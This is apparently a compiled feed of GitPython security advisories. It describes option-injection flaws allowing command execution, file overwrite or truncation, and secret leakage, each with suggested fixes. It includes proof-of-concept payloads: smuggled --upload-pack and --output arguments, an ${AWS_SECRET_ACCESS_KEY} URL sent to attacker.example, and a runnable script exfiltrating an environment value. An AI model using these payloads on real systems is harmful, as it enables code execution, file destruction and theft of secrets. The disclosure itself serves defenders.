`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled) [CVE-2026-73624](https://nvd.nist.gov/vuln/detail/CVE-2026-73624) / [GHSA-fjr4-x663-mwxc](https://github.com/advisories/GHSA-fjr4-x663-mwxc) / PYSEC-2026-3995 <details> <summary>More information</summary> #### Details ##### Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ##### Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ##### Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ##### Proof of Concept ```python ##### Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) ##### Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ##### Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution [CVE-2026-73625](https://nvd.nist.gov/vuln/detail/CVE-2026-73625) / [GHSA-r9mr-m37c-5fr3](https://github.com/advisories/GHSA-r9mr-m37c-5fr3) / PYSEC-2026-3953 <details> <summary>More information</summary> #### Details ##### Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ##### Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ##### Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") ##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ##### Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73623](https://nvd.nist.gov/vuln/detail/CVE-2026-73623) / [GHSA-6p8h-3wgx-97gf](https://github.com/advisories/GHSA-6p8h-3wgx-97gf) / PYSEC-2026-3952 <details> <summary>More information</summary> #### Details GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3952) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-73625](https://nvd.nist.gov/vuln/detail/CVE-2026-73625) / [GHSA-r9mr-m37c-5fr3](https://github.com/advisories/GHSA-r9mr-m37c-5fr3) / PYSEC-2026-3953 <details> <summary>More information</summary> #### Details GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3953) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-73624](https://nvd.nist.gov/vuln/detail/CVE-2026-73624) / [GHSA-fjr4-x663-mwxc](https://github.com/advisories/GHSA-fjr4-x663-mwxc) / PYSEC-2026-3995 <details> <summary>More information</summary> #### Details GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level. #### Severity - CVSS Score: 7.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-diff](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-diff) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3995) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573) [CVE-2026-73622](https://nvd.nist.gov/vuln/detail/CVE-2026-73622) / [GHSA-94p4-4cq8-9g67](https://github.com/advisories/GHSA-94p4-4cq8-9g67) / PYSEC-2026-3951 <details> <summary>More information</summary> #### Details ##### Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ##### Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ##### Steps to Reproduce ##### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ##### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ##### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) ##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL ##### Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() ##### Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ##### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git SENTINEL in git config: True HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack'] SENTINEL over network : True VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host ``` The `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host. ##### Suggested Fix Pass `expand_vars=False` at the remaining URL callers, matching the clone fix: - `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)` - `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)` More robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in. ##### Cleanup ```bash rm -rf /tmp/gp-remote-poc ``` ##### Impact Any secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67) - [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73622](https://nvd.nist.gov/vuln/detail/CVE-2026-73622) / [GHSA-94p4-4cq8-9g67](https://github.com/advisories/GHSA-94p4-4cq8-9g67) / PYSEC-2026-3951 <details> <summary>More information</summary> #### Details GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3951) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count [CVE-2026-73621](https://nvd.nist.gov/vuln/detail/CVE-2026-73621) / [GHSA-p538-c434-8v24](https://github.com/advisories/GHSA-p538-c434-8v24) / PYSEC-2026-3950 <details> <summary>More information</summary> #### Details ##### Summary `Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file. ##### Root Cause `commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`. ##### Impact Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM. ##### Proof of Concept ```python commit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified) ##### control: commit.iter_commits(output=...) raises UnsafeOptionError ``` ##### Attack Chain 1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side. 2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file. ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `check_unsafe_options` to `Commit.count` (mirroring `iter_items`). --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24) - [https://github.com/gitpython-developers/GitPython/pull/2184](https://github.com/gitpython-developers/GitPython/pull/2184) - [https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2](https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p538-c434-8v24) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73621](https://nvd.nist.gov/vuln/detail/CVE-2026-73621) / [GHSA-p538-c434-8v24](https://github.com/advisories/GHSA-p538-c434-8v24) / PYSEC-2026-3950 <details> <summary>More information</summary> #### Details GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation). #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-truncation-via-commit-count](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-truncation-via-commit-count) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3950) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read [CVE-2026-73620](https://nvd.nist.gov/vuln/detail/CVE-2026-73620) / [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) / PYSEC-2026-3949 <details> <summary>More information</summary> #### Details **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ##### Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ##### Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ##### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ##### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ##### Instance 2 — `TagReference.create()`: 